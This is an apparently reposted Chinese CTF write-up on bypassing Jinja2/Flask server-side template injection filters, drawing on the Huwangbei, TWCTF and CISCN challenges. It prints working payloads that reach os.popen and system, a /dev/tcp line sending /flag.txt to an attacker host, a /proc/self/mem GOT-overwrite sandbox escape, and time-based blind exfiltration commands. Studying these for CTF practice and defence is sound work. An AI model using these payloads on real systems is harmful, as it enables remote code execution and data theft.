SSTI Bypass 分析

护网杯过去不久,realworld到来之前先来研究研究SSTI的Bypass套路。

SSTI Bypass

首先来看一个护网杯的那道easypy,后台在输入{{config}}的时候出现回显,因此判断是SSTI。

继续测试,发现其过滤了[ , ' , _以及一些特殊的字符,像os,d等字符串,因此在一篇文章中发现如下的方法,使用attr进行绕过

http://152.136.21.148:5317/render?data={{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()}}&x1=__class__&x2=__base__&x3=__subclasses__

得到回显

因此只需要将转为

[].__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['__import__']("os").popen('whoami').read()

如上的payload即可拿到flag,因此最后的payload为

{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(233)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").system("/bin/bash+-c+\"cat+/flag.txt+>+/dev/tcp/attacker_ip/8080\"")

同时,还可以使用如下的payload进行ssti

{% print ""|attr(request.args.class)|attr(request.args.base)|attr(request.args.subclasses)()|attr(request.args.getitem)(99)|attr(request.args.init)|attr(request.args.globals)|attr(request.args.getitem)("o"+"s")|attr("popen")("cat flag.txt")|attr(request.args.re)()|safe%}&globals=__globals__&subclasses=__subclasses__&re=read&init=__init__&base=__base__&class=__class__&getitem=__getitem__

因此,借这道题目来进行一下SSTI Bypass的学习,来个简易的脚本

import sys
from jinja2 import Template

template = Template("Hello {}".format(sys.argv[1] if len(sys.argv) > 1else '<yes>'))

print(template.render())

绕过 _ 符号

这个就是在护网杯的时候的两个payload,同时还有如下payload

{{(()|attr(request.args.param)|attr(request.args.param1)|attr(request.args.param2)()).pop(40)(request.args.file).read()}}&param=__class__&param1=__base__&param2=__subclasses__&file=/etc/passwd

绕过 [ 符号

通过调用global进行命令执行

{{().__class__.__bases__.0.__subclasses__().59.__init__.__globals__.linecache.os.popen('whoami').read()}}

该payload只能在python2版本下使用

import 被阉割的情况

该问题出现在18年的全国大学生安全竞赛,因此可以用使用write修改got表。实际上是一个 /proc/self/mem 的内存操作方法 /proc/self/mem 是内存镜像,能够通过它来读写到进程的所有内存,包括可执行代码,如果我们能获取到Python一些函数的偏移,如 system ,我们便可以通过覆写 got 表达到 getshell的目的。

(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('c'+'at /etc/passwd'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))

第一个是地址偏移,第二个是fopen的偏移,我们可以通过 objdump 获取相关信息 因此可以劫持got表getshell

(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('l'+'s /etc/'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))

(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('c'+'at /etc/passwd'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))

这个太难了,立个flag,后期学

或者寻找import的简介引用, closure 这个 object 保存了参数,可以引用原生的 import

print __import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('l'+'s home')

绕过 ( 、)、self、config

这个题目是TWCTF的题目,源码如下

import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

因此利用__dict__和__globals__获取属性和定义域信息,payload为

url_for.__globals__['current_app'].config
get_flashed_messages.__globals__['current_app'].config

获取sys

{{app.__init__.__globals__.sys.modules.app.app.__dict__}}

或者使用request来递归子属性,借用大佬的脚本进行回溯

def search(obj, max_depth):

    visited_clss = []
    visited_objs = []

    def visit(obj, path='obj', depth=0):
        yield path, obj

        if depth == max_depth:
            return

        elif isinstance(obj, (int, float, bool, str, bytes)):
            return

        elif isinstance(obj, type):
            if obj in visited_clss:
                return
            visited_clss.append(obj)
            print(obj)

        else:
            if obj in visited_objs:
                return
            visited_objs.append(obj)

        # attributes
        for name in dir(obj):
            if name.startswith('__') and name.endswith('__'):
                if name not in  ('__globals__', '__class__', '__self__',
                                 '__weakref__', '__objclass__', '__module__'):
                    continue
            attr = getattr(obj, name)
            yield from visit(attr, '{}.{}'.format(path, name), depth + 1)

        # dict values
        if hasattr(obj, 'items') and callable(obj.items):
            try:
                for k, v in obj.items():
                    yield from visit(v, '{}[{}]'.format(path, repr(k)), depth)
            except:
                pass

        # items
        elif isinstance(obj, (set, list, tuple, frozenset)):
            for i, v in enumerate(obj):
                yield from visit(v, '{}[{}]'.format(path, repr(i)), depth)

    yield from visit(obj)

app.py

import flask
import os

from flask import request
from search import search

app = flask.Flask(__name__)
app.config['FLAG'] = 'TWCTF_FLAG'

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    for path, obj in search(request, 10):
        if str(obj) == app.config['FLAG']:
            return path

if __name__ == '__main__':
    app.run(debug=True)

在无回显的情况下除了将flag弹回到自己的vps上面之外也可以用glzjin的利用事件盲注文件内容的方法

因此可以使用如下的方法继续判断

 c=`cut -b 5 flag`; [ $c = "{" ] && sleep 4

闭包避免了使用全局变量,此外,闭包允许将函数与其所操作的某些数据(环境)关连起来。这一点与面向对象编程是非常类似的,在面对象编程中,对象允许我们将某些数据(对象的属性)与一个或者多个方法相关联。它返回的是一个由 cell 对象 组成的元组对象 ,那么就可以用来调用os方法了,因此可以使用闭包__closure__方法来引用os模块,payload如下

__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('c=`cut -b 5  /root/flag`; [ $c = \"{\" ] && sleep 3 ')

Reference

  • https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti
  • https://wiki.x10sec.org/pwn/sandbox/python-sandbox-escape/
  • https://bestwing.me/awesome-python-sandbox-in-ciscn.html
  • https://xz.aliyun.com/t/52#toc-0
  • https://www.xmsec.cc/ssti-and-bypass-sandbox-in-jinja2/
  • https://www.zhaoj.in/read-6251.html

本文分享自微信公众号 - ChaMd5安全团队(chamd5sec),作者:christa

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-10-10

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Python安全之SSTI——Flask/Jinja2

    SSTI(Server Side Template Injection),又称服务端模板注入攻击。其发生在MVC框架中的view层,常见的用于渲染的模板有Twi...

    Jayway
  • Python安全 | Flask-jinja2 SSTI 利用手册

    很多刚开始学习SSTI的新手可能看到上面的利用方法就蒙圈了,不太懂为什么要这么做,下面来讲一下关于Python中类的知识。面向对象语言的方法来自于类,对于pyt...

    HACK学习
  • 存在SSTI漏洞的CMS合集

    代码审计,考察的是扎扎实实的本领,CMS的漏洞的挖掘能力是衡量一个Web狗的强弱的标准,强网杯的时候,Web题目考的了一个CMS的代码审计,考察到了SSTI漏洞...

    用户5878089
  • 护网杯2018-easy_tornado

    我们可以得出这样的结论,flag所在文件的url应该是http://de0ee060-7c62-4c47-9155-96c35ec001fe.node3.buu...

  • 浅谈Flask模板注入攻击

    ​ 由于最近一直在学二进制,所以web方面时间就不是很充足了,在buuoj上做了几道web,其中有一道flask(jinja2)的SSTI,之前也...

    ly0n
  • 安网杯部分wp

    http://172.20.2.4:9003/index.php?txt=../../../flag 任意文件读取,秒了

    Khan安全团队
  • 通过SSTI漏洞获取服务器远程Shell

    本文我将为大家演示,如何利用服务器端模板注入(SSTI)漏洞,来获取应用托管服务器上的shell。

    FB客服
  • FlaskJinja2 开发中遇到的的服务端注入问题研究 II

    0x00. 前言 本篇文章是 《Flask Jinja2 开发中遇到的的服务端注入问题研究》<点击阅读原文查看链接>续篇,我们继续研究 Flask Jinja...

    FB客服
  • 逃逸安全的模板沙箱(一)——FreeMarker(上)

    作者:DEADF1SH_CAT@知道创宇404实验室 时间:2020年8月24日

    Seebug漏洞平台
  • DedeCMS v5.7 SP2后台SSTI到RCE再到GetShell

    DedeCMS v5.7 SP2后台允许编辑模板页面,通过测试发现攻击者在登陆后台的前提条件下可以通过在模板中插入恶意的具备dedecms模板格式且带有runp...

    Al1ex
  • Flask-SSTI模版注入

    可以看到Template("Hello "+ name) 是直接将变量name给输出到模版,如下图

    偏有宸机
  • Ctfshow-1024杯

    ​ 比赛期间有点事导致到最后才开始看题,比赛很好,师傅们出的题目质量很高,不过我很菜,都不会,就会签到。做了两道web。这里写一下我的解题过程。

    ly0n
  • (精编)Python与安全(三)SSTI服务器模板注入

    __mro__返回一个包含类或对象所继承的基类元组。方法在解析式按照元组的顺序解析,从自身所属类到<class'object'>。

    7089bAt@PowerLi
  • 干货-python与安全(一)入门简介

    我会开始写一些关于python的安全文章,都是自己学习时候的笔记。大部分的安全学习者的python语法功底都不是很好,我会在这里记录我的学习笔记供大家参考,希望...

    7089bAt@PowerLi
  • Django CSRF Bypass (CVE-2016-7401) 漏洞分析

    Author: p0wd3r (知道创宇404安全实验室) Date: 2016-09-28 0x00 漏洞概述 1.漏洞简介 Django是一个由Python...

    Seebug漏洞平台
  • Bypass 护卫神SQL注入防御(多姿势)

       护卫神一直专注服务器安全领域, 其中有一款产品,护卫神·入侵防护系统 ,提供了一些网站安全防护的功能,在IIS加固模块中有一个SQL防注入功能。

    Bypass
  • HGAME-Week4-Web writeup

    我们发现网站后台将传入的 <script> 替换成Happy。但是前边和后边的数据并没有被过滤,但是后边的会被当成前边标签的属性,因此尝试修改下前边的数据。

    安恒网络空间安全讲武堂
  • Python 格式化字符串漏洞(Django为例)

    原文我发表在先知技术社区: https://xianzhi.aliyun.com/forum/read/615.html ,转载请联系阿里云Aliyun_xia...

    phith0n
  • Tomcat 远程代码执行漏洞分析(CVE-2017-12615)及补丁 Bypass

    腾讯云安全中心监测到 Apache Tomcat 修复了2个严重级别的漏洞, 分别为: 信息泄露漏洞、远程代码执行漏洞。

    云鼎实验室

扫码关注云+社区

领取腾讯云代金券